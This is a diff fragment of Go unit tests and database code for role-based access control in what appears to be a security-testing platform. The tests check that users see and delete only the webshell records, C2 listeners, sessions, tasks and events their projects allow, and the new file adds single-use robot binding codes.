t.Fatalf("expected project assignment to allow vulnerability detail")
|
||||||
|
}
|
||||||
|
if db.UserCanAccessResource(user.ID, RBACScopeAssigned, "vulnerability", v2.ID) {
|
||||||
|
t.Fatalf("unexpected access to hidden vulnerability")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACConversationAccessInheritsProject(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
user, err := db.CreateRBACUser("project-member", "Project Member", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&Project{Name: "assigned project"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
conversation, err := db.CreateConversation("project conversation", ConversationCreateMeta{ProjectID: project.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "project", project.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := db.ListConversationsForAccess(50, 0, "", "", "", user.ID, RBACScopeAssigned)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rows) != 1 || rows[0].ID != conversation.ID {
|
||||||
|
t.Fatalf("conversations = %#v, want project conversation %s", rows, conversation.ID)
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessResource(user.ID, RBACScopeAssigned, "conversation", conversation.ID) {
|
||||||
|
t.Fatal("expected project assignment to allow conversation detail")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACBatchResourceAssignmentValidationAndAtomicity(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
user, err := db.CreateRBACUser("batch-member", "Batch Member", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
p1, err := db.CreateProject(&Project{Name: "p1"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
p2, err := db.CreateProject(&Project{Name: "p2"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
p3, err := db.CreateProject(&Project{Name: "p3"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
options, err := db.ListAssignableRBACResources("project", "p1", 50)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(options) != 1 || options[0].ID != p1.ID || options[0].Label != "p1" {
|
||||||
|
t.Fatalf("resource options = %#v, want p1", options)
|
||||||
|
}
|
||||||
|
firstPage, err := db.ListAssignableRBACResourcesPage("project", "", 2, 0)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
secondPage, err := db.ListAssignableRBACResourcesPage("project", "", 2, 2)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(firstPage) != 2 || len(secondPage) != 1 {
|
||||||
|
t.Fatalf("paged resource options = %d + %d, want 2 + 1", len(firstPage), len(secondPage))
|
||||||
|
}
|
||||||
|
seen := map[string]bool{}
|
||||||
|
for _, option := range append(firstPage, secondPage...) {
|
||||||
|
seen[option.ID] = true
|
||||||
|
}
|
||||||
|
if !seen[p1.ID] || !seen[p2.ID] || !seen[p3.ID] {
|
||||||
|
t.Fatalf("paged resource options missed resources: %#v", seen)
|
||||||
|
}
|
||||||
|
if _, err := db.ListAssignableRBACResources("secret_table", "", 50); err == nil {
|
||||||
|
t.Fatal("expected unsupported picker resource type to fail")
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := db.AssignResourcesToUser(user.ID, "unknown_type", []string{p1.ID}); err == nil {
|
||||||
|
t.Fatal("expected unsupported resource type to fail")
|
||||||
|
}
|
||||||
|
if _, err := db.AssignResourcesToUser(user.ID, "project", []string{p1.ID, "missing-project"}); err == nil {
|
||||||
|
t.Fatal("expected missing resource to fail the entire batch")
|
||||||
|
}
|
||||||
|
rows, err := db.ListRBACResourceAssignments(user.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rows) != 0 {
|
||||||
|
t.Fatalf("partial grants persisted after failed batch: %#v", rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
created, err := db.AssignResourcesToUser(user.ID, "project", []string{p1.ID, p1.ID, p2.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if created != 2 {
|
||||||
|
t.Fatalf("created = %d, want 2 unique grants", created)
|
||||||
|
}
|
||||||
|
created, err = db.AssignResourcesToUser(user.ID, "project", []string{p1.ID, p2.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if created != 0 {
|
||||||
|
t.Fatalf("idempotent retry created = %d, want 0", created)
|
||||||
|
}
|
||||||
|
rows, err = db.ListRBACResourceAssignments(user.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rows) != 2 {
|
||||||
|
t.Fatalf("assignment count = %d, want 2", len(rows))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACWebshellAndBatchListAccess(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
ws1 := WebShellConnection{ID: "ws_visible", ProjectID: "p1", URL: "http://a", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
ws2 := WebShellConnection{ID: "ws_hidden", ProjectID: "p2", URL: "http://b", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
ws3 := WebShellConnection{ID: "ws_other_project", ProjectID: "p2", URL: "http://c", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
ws4 := WebShellConnection{ID: "ws_unbound", URL: "http://d", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||||
|
if err := db.CreateWebshellConnection(&ws1); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&ws2); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&ws3); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateWebshellConnection(&ws4); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_ = db.SetResourceOwner("webshell", ws1.ID, "u1")
|
||||||
|
_ = db.SetResourceOwner("webshell", ws2.ID, "u2")
|
||||||
|
_ = db.SetResourceOwner("webshell", ws3.ID, "u1")
|
||||||
|
_ = db.SetResourceOwner("webshell", ws4.ID, "u1")
|
||||||
|
webshells, err := db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(webshells) != 3 {
|
||||||
|
t.Fatalf("webshells = %#v, want 3 owned webshells including unbound", webshells)
|
||||||
|
}
|
||||||
|
webshells, err = db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, "p1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(webshells) != 1 || webshells[0].ID != ws1.ID {
|
||||||
|
t.Fatalf("webshells scoped to p1 = %#v, want only %s", webshells, ws1.ID)
|
||||||
|
}
|
||||||
|
webshells, err = db.ListWebshellConnectionsForAccess("u1", RBACScopeOwn, ProjectFilterUnbound)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(webshells) != 1 || webshells[0].ID != ws4.ID {
|
||||||
|
t.Fatalf("unbound webshells = %#v, want only %s", webshells, ws4.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.CreateBatchQueue("q_visible", "visible", "", "eino_single", "manual", "", nil, "", 1, []map[string]interface{}{{"id": "t1", "message": "a"}}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateBatchQueue("q_hidden", "hidden", "", "eino_single", "manual", "", nil, "", 1, []map[string]interface{}{{"id": "t2", "message": "b"}}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_ = db.SetResourceOwner("batch_task", "q_visible", "u1")
|
||||||
|
_ = db.SetResourceOwner("batch_task", "q_hidden", "u2")
|
||||||
|
queues, err := db.ListBatchQueuesForAccess(50, 0, "all", "", "u1", RBACScopeOwn)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(queues) != 1 || queues[0].ID != "q_visible" {
|
||||||
|
t.Fatalf("queues = %#v, want only q_visible", queues)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACC2AccessInheritsListener(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
now := time.Now()
|
||||||
|
l1 := &C2Listener{ID: "l_visible", ProjectID: "p1", Name: "visible", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9001, OwnerUserID: "u1", CreatedAt: now}
|
||||||
|
l2 := &C2Listener{ID: "l_hidden", ProjectID: "p2", Name: "hidden", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9002, OwnerUserID: "u2", CreatedAt: now}
|
||||||
|
l3 := &C2Listener{ID: "l_other_project", ProjectID: "p2", Name: "other project", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9003, OwnerUserID: "u1", CreatedAt: now}
|
||||||
|
l4 := &C2Listener{ID: "l_unbound", Name: "unbound", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9004, OwnerUserID: "u1", CreatedAt: now}
|
||||||
|
if err := db.CreateC2Listener(l1); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(l2); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(l3); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(l4); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: "s_visible", ListenerID: l1.ID, ImplantUUID: "implant-visible", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: "s_hidden", ListenerID: l2.ID, ImplantUUID: "implant-hidden", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: "s_other_project", ListenerID: l3.ID, ImplantUUID: "implant-other-project", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: "s_unbound", ListenerID: l4.ID, ImplantUUID: "implant-unbound", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: "t_visible", SessionID: "s_visible", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: "t_hidden", SessionID: "s_hidden", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: "t_other_project", SessionID: "s_other_project", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: "t_unbound", SessionID: "s_unbound", TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: "e_visible", Level: "info", Category: "task", SessionID: "s_visible", TaskID: "t_visible", Message: "visible", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: "e_hidden", Level: "info", Category: "task", SessionID: "s_hidden", TaskID: "t_hidden", Message: "hidden", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: "e_other_project", Level: "info", Category: "task", SessionID: "s_other_project", TaskID: "t_other_project", Message: "other project", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: "e_unbound", Level: "info", Category: "task", SessionID: "s_unbound", TaskID: "t_unbound", Message: "unbound", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
access := RBACListAccess{UserID: "u1", Scope: RBACScopeOwn}
|
||||||
|
listeners, err := db.ListC2ListenersForAccess(access, "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(listeners) != 3 {
|
||||||
|
t.Fatalf("listeners = %#v, want 3 owned listeners including unbound", listeners)
|
||||||
|
}
|
||||||
|
listeners, err = db.ListC2ListenersForAccess(access, "p1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(listeners) != 1 || listeners[0].ID != l1.ID {
|
||||||
|
t.Fatalf("listeners scoped to p1 = %#v, want only %s", listeners, l1.ID)
|
||||||
|
}
|
||||||
|
listeners, err = db.ListC2ListenersForAccess(access, ProjectFilterUnbound)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(listeners) != 1 || listeners[0].ID != l4.ID {
|
||||||
|
t.Fatalf("unbound listeners = %#v, want only %s", listeners, l4.ID)
|
||||||
|
}
|
||||||
|
sessions, err := db.ListC2SessionsForAccess(ListC2SessionsFilter{}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(sessions) != 3 {
|
||||||
|
t.Fatalf("sessions = %#v, want 3 owned sessions including unbound", sessions)
|
||||||
|
}
|
||||||
|
sessions, err = db.ListC2SessionsForAccess(ListC2SessionsFilter{ProjectID: "p1"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(sessions) != 1 || sessions[0].ID != "s_visible" {
|
||||||
|
t.Fatalf("sessions scoped to p1 = %#v, want only s_visible", sessions)
|
||||||
|
}
|
||||||
|
sessions, err = db.ListC2SessionsForAccess(ListC2SessionsFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(sessions) != 1 || sessions[0].ID != "s_unbound" {
|
||||||
|
t.Fatalf("unbound sessions = %#v, want only s_unbound", sessions)
|
||||||
|
}
|
||||||
|
tasks, err := db.ListC2TasksForAccess(ListC2TasksFilter{}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 3 {
|
||||||
|
t.Fatalf("tasks = %#v, want 3 owned tasks including unbound", tasks)
|
||||||
|
}
|
||||||
|
tasks, err = db.ListC2TasksForAccess(ListC2TasksFilter{ProjectID: "p1"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 1 || tasks[0].ID != "t_visible" {
|
||||||
|
t.Fatalf("tasks scoped to p1 = %#v, want only t_visible", tasks)
|
||||||
|
}
|
||||||
|
tasks, err = db.ListC2TasksForAccess(ListC2TasksFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 1 || tasks[0].ID != "t_unbound" {
|
||||||
|
t.Fatalf("unbound tasks = %#v, want only t_unbound", tasks)
|
||||||
|
}
|
||||||
|
events, err := db.ListC2EventsForAccess(ListC2EventsFilter{}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(events) != 3 {
|
||||||
|
t.Fatalf("events = %#v, want 3 owned events including unbound", events)
|
||||||
|
}
|
||||||
|
events, err = db.ListC2EventsForAccess(ListC2EventsFilter{ProjectID: "p1"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(events) != 1 || events[0].ID != "e_visible" {
|
||||||
|
t.Fatalf("events scoped to p1 = %#v, want only e_visible", events)
|
||||||
|
}
|
||||||
|
events, err = db.ListC2EventsForAccess(ListC2EventsFilter{ProjectID: ProjectFilterUnbound}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(events) != 1 || events[0].ID != "e_unbound" {
|
||||||
|
t.Fatalf("unbound events = %#v, want only e_unbound", events)
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessResource("u1", RBACScopeOwn, "c2_task", "t_visible") {
|
||||||
|
t.Fatalf("expected listener ownership to allow task detail")
|
||||||
|
}
|
||||||
|
if db.UserCanAccessResource("u1", RBACScopeOwn, "c2_task", "t_hidden") {
|
||||||
|
t.Fatalf("unexpected access to hidden task")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACC2AssignedDeleteIsScoped(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
user, err := db.CreateRBACUser("u1", "User 1", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
if err := db.CreateC2Listener(&C2Listener{ID: "l_assigned", Name: "assigned", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9001, CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(&C2Listener{ID: "l_hidden", Name: "hidden", Type: "http_beacon", BindHost: "127.0.0.1", BindPort: 9002, CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "c2_listener", "l_assigned"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, row := range []struct {
|
||||||
|
sessionID string
|
||||||
|
listener string
|
||||||
|
taskID string
|
||||||
|
eventID string
|
||||||
|
}{
|
||||||
|
{"s_assigned", "l_assigned", "t_assigned", "e_assigned"},
|
||||||
|
{"s_hidden", "l_hidden", "t_hidden", "e_hidden"},
|
||||||
|
} {
|
||||||
|
if err := db.UpsertC2Session(&C2Session{ID: row.sessionID, ListenerID: row.listener, ImplantUUID: row.sessionID + "_uuid", Status: "active", FirstSeenAt: now, LastCheckIn: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Task(&C2Task{ID: row.taskID, SessionID: row.sessionID, TaskType: "shell", Status: "queued", CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AppendC2Event(&C2Event{ID: row.eventID, Level: "info", Category: "task", SessionID: row.sessionID, TaskID: row.taskID, Message: row.eventID, CreatedAt: now}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
access := RBACListAccess{UserID: user.ID, Scope: RBACScopeAssigned}
|
||||||
|
n, err := db.DeleteC2TasksByIDsForAccess([]string{"t_assigned", "t_hidden"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if n != 1 {
|
||||||
|
t.Fatalf("deleted tasks = %d, want 1", n)
|
||||||
|
}
|
||||||
|
if task, _ := db.GetC2Task("t_hidden"); task == nil {
|
||||||
|
t.Fatalf("hidden task was deleted")
|
||||||
|
}
|
||||||
|
n, err = db.DeleteC2EventsByIDsForAccess([]string{"e_assigned", "e_hidden"}, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if n != 1 {
|
||||||
|
t.Fatalf("deleted events = %d, want 1", n)
|
||||||
|
}
|
||||||
|
hiddenEvents, err := db.ListC2Events(ListC2EventsFilter{TaskID: "t_hidden"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(hiddenEvents) != 1 {
|
||||||
|
t.Fatalf("hidden event count = %d, want 1", len(hiddenEvents))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACAssignmentLabelsAndWeakTitles(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
user, err := db.CreateRBACUser("label-member", "Label Member", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&Project{Name: "Alpha Project"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
conversation, err := db.CreateConversation("1", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.AssignResourcesToUser(user.ID, "project", []string{project.ID}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
options, err := db.ListAssignableRBACResources("conversation", "", 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(options) == 0 {
|
||||||
|
t.Fatal("expected conversation options")
|
||||||
|
}
|
||||||
|
for _, option := range options {
|
||||||
|
if option.ID == conversation.ID && !strings.Contains(option.Label, "1 ·") {
|
||||||
|
t.Fatalf("weak conversation label = %q, want suffix with short id", option.Label)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := db.ListRBACResourceAssignments(user.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rows) != 1 {
|
||||||
|
t.Fatalf("assignments = %#v, want 1", rows)
|
||||||
|
}
|
||||||
|
if rows[0].ResourceLabel != "Alpha Project" {
|
||||||
|
t.Fatalf("assignment label = %q, want Alpha Project", rows[0].ResourceLabel)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeleteRBACResourceAssignmentWithDetails(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
user, err := db.CreateRBACUser("revoke-member", "Revoke Member", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&Project{Name: "Revoked Project"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.AssignResourcesToUser(user.ID, "project", []string{project.ID}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
rows, err := db.ListRBACResourceAssignments(user.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rows) != 1 {
|
||||||
|
t.Fatalf("assignments = %#v, want 1", rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
deleted, err := db.DeleteRBACResourceAssignmentWithDetails(rows[0].ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if deleted.ID != rows[0].ID || deleted.UserID != user.ID || deleted.ResourceType != "project" || deleted.ResourceID != project.ID {
|
||||||
|
t.Fatalf("deleted assignment = %#v", deleted)
|
||||||
|
}
|
||||||
|
remaining, err := db.ListRBACResourceAssignments(user.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(remaining) != 0 {
|
||||||
|
t.Fatalf("remaining assignments = %#v, want none", remaining)
|
||||||
|
}
|
||||||
|
if _, err := db.DeleteRBACResourceAssignmentWithDetails(rows[0].ID); err == nil {
|
||||||
|
t.Fatal("second delete unexpectedly succeeded")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RobotUserBinding maps one tenant-scoped platform identity to one RBAC user.
|
||||||
|
// external_user_id must be derived from the verified platform event, never
|
||||||
|
// from user-controlled message content.
|
||||||
|
type RobotUserBinding struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
ExternalUserID string `json:"externalUserId"`
|
||||||
|
RBACUserID string `json:"rbacUserId"`
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
CreatedAt time.Time `json:"createdAt"`
|
||||||
|
UpdatedAt time.Time `json:"updatedAt"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeRobotIdentity(platform, externalUserID string) (string, string, error) {
|
||||||
|
platform = strings.ToLower(strings.TrimSpace(platform))
|
||||||
|
externalUserID = strings.TrimSpace(externalUserID)
|
||||||
|
if platform == "" || externalUserID == "" {
|
||||||
|
return "", "", fmt.Errorf("robot platform and external user identity are required")
|
||||||
|
}
|
||||||
|
return platform, externalUserID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CreateRobotBindingCode(userID, codeHash string, expiresAt time.Time) error {
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
codeHash = strings.TrimSpace(codeHash)
|
||||||
|
if userID == "" || codeHash == "" || !expiresAt.After(time.Now()) {
|
||||||
|
return fmt.Errorf("invalid robot binding code")
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
// Keep only the newest active code per user and remove expired/used secrets.
|
||||||
|
if _, err = tx.Exec(`DELETE FROM robot_binding_codes WHERE rbac_user_id = ? OR expires_at <= ? OR used_at IS NOT NULL`, userID, now); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if _, err = tx.Exec(`INSERT INTO robot_binding_codes (code_hash, rbac_user_id, expires_at, created_at) VALUES (?, ?, ?, ?)`, codeHash, userID, expiresAt, now); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConsumeRobotBindingCode atomically consumes a single-use code and binds the
|
||||||
|
// verified platform identity. Existing bindings are deliberately replaced so
|
||||||
|
// users can recover from stale or incorrect associations with a fresh code.
|
||||||
|
func (db *DB) ConsumeRobotBindingCode(platform, externalUserID, codeHash string) (*RBACUser, error) {
|
||||||
|
platform, externalUserID, err := normalizeRobotIdentity(platform, externalUserID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
codeHash = strings.TrimSpace(codeHash)
|
||||||
|
if codeHash == "" {
|
||||||
|
return nil, fmt.Errorf("binding code is required")
|
||||||
|
}
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
var userID string
|
||||||
|
now := time.Now()
|
||||||
|
if err = tx.QueryRow(`
|
||||||
|
SELECT c.rbac_user_id
|
||||||
|
FROM robot_binding_codes c
|
||||||
|
JOIN rbac_users u ON u.id = c.rbac_user_id
|
||||||
|
WHERE c.code_hash = ? AND c.used_at IS NULL AND c.expires_at > ? AND u.enabled = 1
|
||||||
|
`, codeHash, now).Scan(&userID); err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("binding code is invalid or expired")
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
result, err := tx.Exec(`UPDATE robot_binding_codes SET used_at = ? WHERE code_hash = ? AND used_at IS NULL`, now, codeHash)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if affected, _ := result.RowsAffected(); affected != 1 {
|
||||||
|
return nil, fmt.Errorf("binding code has already been used")
|
||||||
|
}
|
||||||
|
if _, err = tx.Exec(`
|
||||||
|
INSERT INTO robot_user_bindings (id, platform, external_user_id, rbac_user_id, enabled, created_at, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, 1, ?, ?)
|
||||||
|
ON CONFLICT(platform, external_user_id) DO UPDATE SET
|
||||||
|
rbac_user_id = excluded.rbac_user_id,
|
||||||
|
enabled = 1,
|
||||||
|
updated_at = excluded.updated_at
|
||||||
|
`, uuid.New().String(), platform, externalUserID, userID, now, now); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err = tx.Commit(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return db.GetRBACUserByID(userID)
|
||||||
|
}
|
||||||
|
|
||||||
|
